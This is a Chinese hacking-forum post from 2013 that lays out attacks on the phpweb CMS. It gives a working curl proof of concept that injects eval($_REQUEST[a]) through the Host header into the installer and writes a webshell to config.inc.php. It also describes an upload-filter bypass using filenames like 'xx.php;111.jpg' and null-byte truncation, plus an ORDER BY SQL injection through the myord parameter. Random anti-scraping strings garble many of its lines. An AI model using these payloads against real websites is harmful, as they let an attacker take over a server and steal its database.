找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2383|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
注入:' R2 ~3 R& D# Z6 w

9 x" {7 ]6 D: M之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
8 z$ p- l- V$ e1 H# }( W( B: u
1 }8 n2 @& K& y鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
( {* o: `9 e+ Q6 Y  f: i! ~鸡肋2: 有一定安全常识的站长都会删掉 install 目录
9 I- ]) x8 Y' [7 A: H5 d
/ a2 N+ V: M% c虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响* \  e9 F: Z* C6 k

* T( x, h! ^8 O5 p: U! q分析:( f" T7 G6 l+ D* I3 [
0 T+ A; Y, }6 S" ^# ~2 z+ ~4 Z, ^
$ j: r, u# H- E! k
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤$ M, k" X% b+ t* |0 `

( v9 [  {6 O% U+ j4 |! S7 U                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);0 h  ~" ?' D: G$ y0 z
                                            $filestr=str_replace(" ","",$filestr);/ b' g( q1 `, {* r
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
5 e. V1 C" G% y- ~) J                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
+ [7 R# }# E/ e( s9 n6 l; ]                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
5 P7 S' n  c! }, b                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);' ^; y5 F, n! y/ z( `1 N% s# e
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);# s7 z3 U: h& J7 U
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
/ T& P( r1 C5 D3 ?+ v& M% J                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);) ^: T5 {5 u$ n
/ q$ L  `; ?( c! p: n
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);* N( }/ m% c8 m" W& T6 t0 j
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^, k& O9 Y+ B5 y8 }( }( ~4 s5 f4 V' e

- ~# c( z1 ~$ h  W" ppoc:5 Q) U2 ?- v4 J( P- ?3 E. Z1 v

. N9 H* e4 q. s6 U% }! b7 N1 \?
" s- T% U$ a  d: `, ^4 {$ Q1% M1 |: P7 r: d9 ?( {
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
6 Q' }6 P* P. `, Q' `( O1 |, Rshell地址: /config.inc.php
- ?1 C7 n+ l; p: w. u9 m4 q% @跟之前的 phpcms一样 需要远程数据库/ s) t0 q) D$ e  f  Y
& G! f- ]) S( n1 `# N% q) u% ]! E1 l1 u
——————————————————–3 f8 X; K1 b2 [, _. m1 W9 s
上传漏洞(需要进后台):
- t% _' g2 I- z漏洞文件: /kedit/upload_cgi/upload.php- C) Z8 Q. B( D4 `
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
  {: D0 D8 Y1 `0 P* W + o/ q; C/ d  n, ?* ]/ Y. K
2 `! M6 E) ?$ r) s5 V& V, C
<?php# d5 b  l7 s. ~8 a
    define("ROOTPATH", "../../");
0 A2 {: |/ M5 _    include(ROOTPATH."includes/admin.inc.php");/ _0 q, G" b( A1 [; p
    NeedAuth(0);
5 \7 x2 L0 M  O* i2 {
& H- S: |% L0 H    $dt=date("Ymd",time());
! B  k% @* T3 }$ v9 a9 ?    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){2 t/ b. Q) @& Q6 T8 m
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
8 o: y' i7 f+ s( y% y' n% @    }) R/ V) X# y7 N! v/ s
  G, I7 B5 X8 }' \8 M# h3 O
    //文件保存目录路径1 `; C% h( \9 z# }4 T2 x' V
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
% G: x% X, Q! E6 [# P+ V9 E5 e    echo $save_path;; j0 m3 C% u2 H% U9 A; w
    //文件保存目录URL; w# S8 R% [+ _# C
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
7 l9 r* i6 S; y& W' n2 y6 f( }$ u
4 ]! x9 r% q* }  Y+ f1 \    //定义允许上传的文件扩展名
7 w; c8 r4 D6 E, d9 @    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
6 O7 v' M  x& I8 V% |" | 1 ?1 d" @' Z; s0 X! G7 |% P7 J( w7 V
    //最大文件大小
, c! Q! d/ O3 y; o0 r9 a# T) u* _. v    $max_size = 1000000;) h+ I# z( D! V) g" ^
# M% a9 A$ P" r/ B( V3 Z
    //更改目录权限
' Z# q$ t. E4 [5 X; R    @mkdir($save_path, 0777);- g, _: X+ y; ^5 Z2 V
6 `0 @( w2 c/ Z+ @2 ?) ?
    //文件的全部路径8 A) n/ r# \( W6 U& M, q
    $file_path = $save_path.$_POST['fileName'];   //保存文件名# y" E" H$ a  q0 s

' \; y3 t- X% A    //文件URL
! }4 d0 ]2 a6 L+ p    $file_url = $save_url.$_POST['fileName'];' x4 K6 Y0 L1 N' ]: p
//有上传文件时
9 k, |3 n7 ?2 l7 i, o* X2 K/ w8 [    if (empty($_FILES) === false) {8 ?. X/ |1 o) H7 Z& `, t
/ J8 Q8 }1 G0 L7 {3 |( y
            //原文件名
4 o' t9 J+ O" |            $file_name = $_FILES['fileData']['name'];
9 O1 c, [7 y! A' _' i            //服务器上临时文件名
  n& ^$ j/ X3 e% f            $tmp_name = $_FILES['fileData']['tmp_name'];2 b3 z$ ^9 i# }) S: a" e
            //文件大小
) q7 D% I6 g, y% [8 J" C            $file_size = $_FILES['fileData']['size'];7 L: t7 Q- ]/ E
            //检查目录* Q  \" {% w/ a% v6 o
            if (@is_dir($save_path) === false) {+ E- R1 V5 w! L) ]2 t& h
                    alert("上传目录不存在。");  |9 A* s/ c+ j. r* U* A' f0 M
            }
8 ~, L. {1 Q& T* b! K            //检查目录写权限
7 f6 }. K  C2 C; i5 N            if (@is_writable($save_path) === false) {
, j% u4 S% _0 d7 s' ]' x& O' ~" N                    alert("上传目录没有写权限。");
( W+ B" ], k  D, Q" `            }# `! l+ W  [6 r1 v5 B
            //检查是否已上传, N2 j1 Z* b+ r
            if (@is_uploaded_file($tmp_name) === false) {
- F0 r/ x$ P6 Z" k! m% m. q. h                    alert("临时文件可能不是上传文件。");) c8 R" A. V# X1 B" k
            }
( N# s! V- U2 w9 s3 D            //检查文件大小
) \, W) V6 j  z5 T$ f8 f/ s$ g+ |            if ($file_size > $max_size) {/ Q$ f/ m: _6 M  o. [
                    alert("上传文件大小超过限制。");
; O9 r" N" M8 s7 n+ X4 B$ q            }0 o6 `' n  B; H- H/ |- F1 v
            //获得文件扩展名# L2 E! X- [% }9 D! A
            $temp_arr = explode(".", $_POST['fileName']);
8 W" i! M: G6 G) v            $file_ext = array_pop($temp_arr);( i" h2 q: h7 Y3 Q- l2 `3 m
            $file_ext = trim($file_ext);
& R% }1 ?4 a6 Q3 q            $file_ext = strtolower($file_ext);' o  v7 c  z, C3 f- z' r

. |4 q) L3 X; @, r# e& t            //检查扩展名   * }5 ~: n% p7 I0 z- U
            if (in_array($file_ext, $ext_arr) === false) {     
1 d# g8 H/ e2 g5 D                    alert("上传文件扩展名是不允许的扩展名。");
& F. R, A# B) q; N" b            }" ]  M* |- [, _5 [: N
1 A  U' t# P1 B, J1 y+ j
            //移动文件   6 `  J$ j: A; c7 w5 @( i" N
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
" h  o- y) y* R            if (move_uploaded_file($tmp_name, $file_path) === false) {
4 S! q& g9 X1 r                    alert("上传文件失败。");
  e/ g& F* ?7 }7 W9 I6 l" _) r0 b0 p            }
! i, m9 I/ z  H) c' G1 n# t0 j
' q! G# X6 ?9 {+ y            @chmod($file_path,0666);
) v" L7 b$ L! ^: X% u   p6 e) O1 m3 S9 a$ ]9 z/ W
    ?>
; V5 F8 D" f/ j; x' {: s" U+ @抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227' S6 _3 T& ?2 C

1 Y* J' h) v. S. V# d- E/ P8 j. ~( bapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
1 }4 n3 n: u  {! k3 |/ k2 N
4 w& k2 O# A* q5 c' K- l——————————————————
9 I. h: g* M. ], i  T& F注入漏洞:  M" \( i9 V0 c8 x. _" o+ r$ s
漏洞文件:search/module/search.php
# `8 Y9 O3 c) X$ M5 C/search/index.php?key=1&myord=1 [sqlinjection]
' s+ n) Q* G2 G. \1 V. a" l: T
+ Q/ S" V" t! n: n : L, O9 m9 i$ A" q2 u; E6 x6 Z
<?php
2 c0 H& E$ P  h5 u4 K/ N$ M7 G   //       ... 省略 n 行...
- Y. n9 v9 _6 [& t1 n4 N   //第18行:2 |: M  v- y7 I' T9 `
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响! L: [2 R1 v& \' p2 s
           $page=htmlspecialchars($_GET["page"]);
8 a0 p+ O# W( y           $myord=htmlspecialchars($_GET["myord"]);
1 P% p1 l' y. K# g* Q9 ], |( x ( v8 Q" I1 P: M$ {. \6 D* k
   //       ... 省略 n 行...! V; u. j% I  `0 v8 D. U$ }9 E
   $key,$myord 两个参数带入查询
  k/ H8 T: z% W2 @9 C   //第47行 $key:
2 e3 B' D* K" C ) G, D" K$ A6 ]' P$ G  ]+ T% v
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
2 v0 P1 Y+ f0 B- q5 s8 q % _3 \% F. u' j
   //第197行 $myord3 O2 A+ V. X* H8 s! o* Z0 Q
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
# t* d$ V9 S  z" s- M8 R3 z; S
1 [& ^8 z' M9 B7 n1 t   ?>
8 b" n% o# f  P- l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表